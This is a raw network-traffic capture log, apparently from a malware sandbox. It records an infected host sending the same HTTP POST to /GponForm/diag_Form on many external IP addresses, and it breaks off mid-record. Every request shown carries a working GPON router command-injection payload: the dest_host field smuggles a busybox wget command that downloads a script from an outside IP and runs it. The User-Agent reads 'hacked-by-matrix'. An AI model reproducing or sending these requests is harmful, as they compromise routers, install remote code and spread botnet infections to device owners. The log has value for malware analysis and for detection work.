Mar 21, 2024 05:21:47.433162928 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.13	46288	118.47.210.69	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433186054 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.13	41558	109.53.100.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433212996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.13	55536	42.234.35.28	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433240891 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.13	48076	5.40.155.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433273077 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.13	48392	5.5.91.171	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433303118 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.13	43684	212.45.10.6	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433367968 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.13	53340	5.237.90.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433367968 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.13	51682	5.238.107.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433404922 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.13	35210	118.176.36.241	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433423042 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.13	46112	212.182.167.135	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433489084 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.13	59238	5.100.254.30	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433516026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.13	52868	118.64.187.253	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433525085 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.13	50860	109.50.91.183	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433548927 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.13	34858	118.161.105.157	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433615923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.13	38236	212.44.166.41	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433640003 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.13	45430	118.134.170.185	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433698893 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.13	37704	42.229.171.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433717012 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.13	51962	5.193.128.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433721066 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.13	40440	212.77.162.153	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433749914 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.13	53110	109.131.163.120	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433757067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.13	43094	212.123.102.233	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433790922 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.13	43664	118.72.212.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433824062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.13	59142	118.68.159.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.433851004 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.13	57208	42.84.41.139	443

Timestamp	Bytes transferred	Direction	Data
